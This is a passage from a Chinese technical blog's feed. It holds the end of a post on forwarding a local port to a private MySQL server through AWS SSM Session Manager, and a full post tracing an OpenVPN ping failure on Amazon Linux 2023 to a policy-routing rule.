\</span><br><span class="line">    --parameters host=<span class="string">&quot;192.168.xxx.xxx&quot;</span>,portNumber=<span class="string">&quot;3306&quot;</span>,localPortNumber=<span class="string">&quot;5555&quot;</span></span><br></pre></td></tr></table></figure><p>成功后显示：</p><p><img src="https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/Screenshot%202023-10-26%20at%2010.07.40.png"></p><p>这时候，再开一个控制台，测试如下：</p><p><img src="https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/Screenshot%202023-10-26%20at%2010.07.29.png"></p><p>发现本地的 5555 端口是开着的，如果用 MySQL 客户端来连的话，会发现连上的正好是 MySQL。</p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;缘起&quot;&gt;&lt;a href=&quot;#缘起&quot; class=&quot;headerlink&quot; title=&quot;缘起&quot;&gt;&lt;/a&gt;缘起&lt;/h1&gt;&lt;p&gt;因为数据库放 VPC 私网网段里了，然后研发有各种直连数据库的需求，其实也有 VPN 方案，但有的研发认为先拨 VPN 不太方便，而我正好认识到 ssm，觉得挺有意思，所以就有了这篇文章的出炉。&lt;/p&gt;
&lt;p&gt;其实实际上，都有了 EC2 了，直接上面建账号，几乎所有的 MySQL 的 GUI 客户端，都支持 ssh tunnel 来连数据库，这样就不需要手工命令自己打洞了，MySQL 的 GUI 客户端就一起给你搞定了，这部分还会再水一篇文章。可是，真的值得吗？后话再说。但 ssm plugin 方案比 ssh tunnel 方案更牛逼的一点是：ssm plugin 方案里，EC2 不需要有公网地址！&lt;/p&gt;</summary>
    
    
    
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="EC2" scheme="https://ming.theyan.gs/tags/EC2/"/>
    
    <category term="VPC" scheme="https://ming.theyan.gs/tags/VPC/"/>
    
    <category term="MySQL" scheme="https://ming.theyan.gs/tags/MySQL/"/>
    
    <category term="Amazon" scheme="https://ming.theyan.gs/tags/Amazon/"/>
    
    <category term="ssm" scheme="https://ming.theyan.gs/tags/ssm/"/>
    
    <category term="system_manager" scheme="https://ming.theyan.gs/tags/system-manager/"/>
    
    <category term="session_manager" scheme="https://ming.theyan.gs/tags/session-manager/"/>
    
    <category term="ssm_plugin" scheme="https://ming.theyan.gs/tags/ssm-plugin/"/>
    
  </entry>
  
  <entry>
    <title>Amazon Linux 2023：Bug 还是特性？</title>
    <link href="https://ming.theyan.gs/2023/05/Amazon%20Linux%202023%EF%BC%9ABug%20%E8%BF%98%E6%98%AF%E7%89%B9%E6%80%A7%EF%BC%9F/index.html"/>
    <id>https://ming.theyan.gs/2023/05/Amazon%20Linux%202023%EF%BC%9ABug%20%E8%BF%98%E6%98%AF%E7%89%B9%E6%80%A7%EF%BC%9F/index.html</id>
    <published>2023-05-18T10:32:25.000Z</published>
    <updated>2023-05-19T12:32:47.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>在 AWS 的一个 VPC 内部的一台 EC2 上搭了一个 OpenVPN 服务器，对，就是 <a href="/2023/02/%E4%BB%8E%20Client%20VPN%20endpoint%20%E8%BF%81%E7%A7%BB%E5%88%B0%20EC2%20%E4%B8%8A%E7%9A%84%20OpenVPN/index.html">从 Client VPN endpoint 迁移到 EC2 上的 OpenVPN</a> 提到的这件事。然后我有台 PC 通过 OpenVPN 客户端软件连了过来。以下是基本信息。</p><blockquote><p><strong><em>NOTE:</em></strong> IP 地址都不是实际真实情况</p></blockquote><ul><li>EC2（A）<ul><li>公网 IP：<code>1.1.1.1</code>（本地并没有，这个是防火墙或其他设备给做的一对一 map）</li><li>私网 IP：<code>10.0.0.2/24</code></li><li>私网网关：<code>10.0.0.1</code></li><li>私网网卡：enX0</li><li>tun 设备名：tun0</li><li>tun 设备 IP：<code>172.16.0.1/24</code></li></ul></li><li>PC（B）<ul><li>tun 设备名：tun0</li><li>tun 设备 IP：<code>172.16.0.2/24</code></li></ul></li></ul><span id="more"></span><h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h2><p>问题的核心是：B 无法 ping 通 A 的私网 IP。换句话说，当我在 B 上执行 <code>ping 10.0.0.2</code> 命令时，无法得到响应。俗话就是 ping 不通 10.0.0.2。</p><h2 id="问题排查"><a href="#问题排查" class="headerlink" title="问题排查"></a>问题排查</h2><h3 id="初步排查"><a href="#初步排查" class="headerlink" title="初步排查"></a>初步排查</h3><p>我对 AWS EC2 的网络问题进行了深入的排查，包括各种路由表、安全组、网络 ACL，甚至本地的防火墙配置等等。然而，我并没有找到问题的所在。我可以访问 VPC 内部的私网里的 RDS 资源，也可以在 A 上明显看到有接收到数据包。</p><h3 id="ICMP-包的追踪"><a href="#ICMP-包的追踪" class="headerlink" title="ICMP 包的追踪"></a>ICMP 包的追踪</h3><p>我继续深入，发现在 A 上可以接收到 B 发送的 icmp 包，而且 A 也确实有回包，但是奇怪的是，回包并没有通过 tun0 设备，而是直接从 enX0 设备发送出去！</p><h3 id="不是路由的问题（？）"><a href="#不是路由的问题（？）" class="headerlink" title="不是路由的问题（？）"></a>不是路由的问题（？）</h3><p>马上怀疑本地路由有问题，直接在 A 上执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip r get 172.16.0.2</span><br></pre></td></tr></table></figure><p>发现没问题呀，是从设备 tun0 走的呀？这下就完全把我给整不会了。再此之后，我还做了好些努力，比如：</p><h3 id="继续检测排查"><a href="#继续检测排查" class="headerlink" title="继续检测排查"></a>继续检测排查</h3><ul><li>在 A 上 ping B 的 VPN 地址（tun0 设备上）：<ul><li><code>ping 172.16.0.2</code>，当然是通的</li><li><code>ping -I 10.0.0.2 172.16.0.2</code>，这种指定源 IP 的方式 ping，当然是不通的，同样问题，听包发现包没往 tun0 设备上走，而是往 enX0 上走了</li></ul></li><li>跟各种 AI 掰扯，也被告知过 n 多需要检查的地方，比如 kernel 参数 rp_filter 啥的，都对，但都没啥意义，都查过 n 多遍了。</li><li>还在微信朋友圈里发了这个问题，看看朋友圈的卧龙凤雏有没有啥好一点的建议方法。回复基本上都有道理，但没有一个能给我灵感的。</li></ul><h2 id="问题原因"><a href="#问题原因" class="headerlink" title="问题原因"></a>问题原因</h2><p>多番努力，虽然没有结果，但是慢慢还是明白了问题所在就是为什么从 10.0.0.2 出去按路由表应该往 tun0 上走的包却走到了 enX0 上？“这还是路由的问题“，我盖棺定论。</p><p>老想想不出为什么，于是就上网找了找 Linux 高级路由的资料看了看，突然想起来：Linux 系统里，路由选择上比路由表级别更高的还有一个：路由策略！柳暗花明呀。</p><p>我立马起来，登录上 EC2，</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip rule s</span><br></pre></td></tr></table></figure><p>果然有一条记录：</p><blockquote><p>10000:  from 10.0.0.2 lookup 10000 proto static</p></blockquote><p>果然有货，再接着看这条 id 是 10000 的路由表里有什么：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ip r s table 10000</span><br></pre></td></tr></table></figure><p>系统显示：</p><blockquote><p>default via 10.0.0.1 dev enX0 proto dhcp metric 512<br>10.0.0.0&#x2F;24 dev enX0 proto static scope link</p></blockquote><p>这一下子逻辑就清晰了，源地址是 10.0.0.2、目标地址是 172.16.0.2 的数据包之所以会往 enX0 上走是因为路由策略 <code>10000:  from 10.0.0.2 lookup 10000 proto static</code>，这个策略规定了源地址是 10.0.0.2 的数据包怎么走要看路由表 10000，而在 10000 这张路由表又是这样的：</p><blockquote><p>default via 10.0.0.1 dev enX0 proto dhcp metric 512<br>10.0.0.0&#x2F;24 dev enX0 proto static scope link</p></blockquote><p>按照这个路由表，去往 172.16.0.2 的数据包不妥妥的要往 enX0 上发吗？</p><h2 id="问题验证"><a href="#问题验证" class="headerlink" title="问题验证"></a>问题验证</h2><p>最后，我还要做最后一个测试，以验证我的结论：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> ip r add 172.16.0.0/24 \</span><br><span class="line">    dev tun0 \</span><br><span class="line">    src 172.16.0.1 \</span><br><span class="line">    table 10000</span><br></pre></td></tr></table></figure><p>然后，那边在 B 上 <code>ping 10.0.0.2</code> 马上就通了。</p><p>最后的最后，我把刚加的这条路由删掉了，因为我还没想好要不要修以及怎么修这个问题。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> ip r del 172.16.0.0/24 table 10000</span><br></pre></td></tr></table></figure><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>由于 Amazon Linux 2023 中在策略路由里将从 EC2 私网地址为源地址的数据包强制走了另外一张路由表，在那张表里源地址为 EC2 私网地址的数据包会走 enX0，而我的 OpenVPN 服务启动时只修改了缺省的路由表：main，故而导致从 OpenVPN 的客户端不能通 EC2 的私网地址。</p><p>所以，这到底是 Amazon Linux 2023 的 bug 呢，还是 OpenVPN 的 bug 呢？这个问题还需要进一步的探讨和研究。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;&lt;a href=&quot;#背景&quot; class=&quot;headerlink&quot; title=&quot;背景&quot;&gt;&lt;/a&gt;背景&lt;/h2&gt;&lt;p&gt;在 AWS 的一个 VPC 内部的一台 EC2 上搭了一个 OpenVPN 服务器，对，就是 &lt;a href=&quot;/2023/02/%E4%BB%8E%20Client%20VPN%20endpoint%20%E8%BF%81%E7%A7%BB%E5%88%B0%20EC2%20%E4%B8%8A%E7%9A%84%20OpenVPN/index.html&quot;&gt;从 Client VPN endpoint 迁移到 EC2 上的 OpenVPN&lt;/a&gt; 提到的这件事。然后我有台 PC 通过 OpenVPN 客户端软件连了过来。以下是基本信息。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/em&gt;&lt;/strong&gt; IP 地址都不是实际真实情况&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;EC2（A）&lt;ul&gt;
&lt;li&gt;公网 IP：&lt;code&gt;1.1.1.1&lt;/code&gt;（本地并没有，这个是防火墙或其他设备给做的一对一 map）&lt;/li&gt;
&lt;li&gt;私网 IP：&lt;code&gt;10.0.0.2/24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;私网网关：&lt;code&gt;10.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;私网网卡：enX0&lt;/li&gt;
&lt;li&gt;tun 设备名：tun0&lt;/li&gt;
&lt;li&gt;tun 设备 IP：&lt;code&gt;172.16.0.1/24&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PC（B）&lt;ul&gt;
&lt;li&gt;tun 设备名：tun0&lt;/li&gt;
&lt;li&gt;tun 设备 IP：&lt;code&gt;172.16.0.2/24&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    
    <category term="ip" scheme="https://ming.theyan.gs/tags/ip/"/>
    
    <category term="OpenVPN" scheme="https://ming.theyan.gs/tags/OpenVPN/"/>
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="AL2023" scheme="https://ming.theyan.gs/tags/AL2023/"/>
    
    <category term="Amazon Linux 2023" scheme="https://ming.theyan.gs/tags/Amazon-Linux-2023/"/>
    
    <category term="EC2" scheme="https://ming.theyan.gs/tags/EC2/"/>
    
    <category term="策略路由" scheme="https://ming.theyan.gs/tags/%E7%AD%96%E7%95%A5%E8%B7%AF%E7%94%B1/"/>
    
    <category term="ping" scheme="https://ming.theyan.gs/tags/ping/"/>
    
    <category term="路由表" scheme="https://ming.theyan.gs/tags/%E8%B7%AF%E7%94%B1%E8%A1%A8/"/>
    
    <category term="rp_filter" scheme="https://ming.theyan.gs/tags/rp-filter/"/>
    
  </entry>
  
</feed>
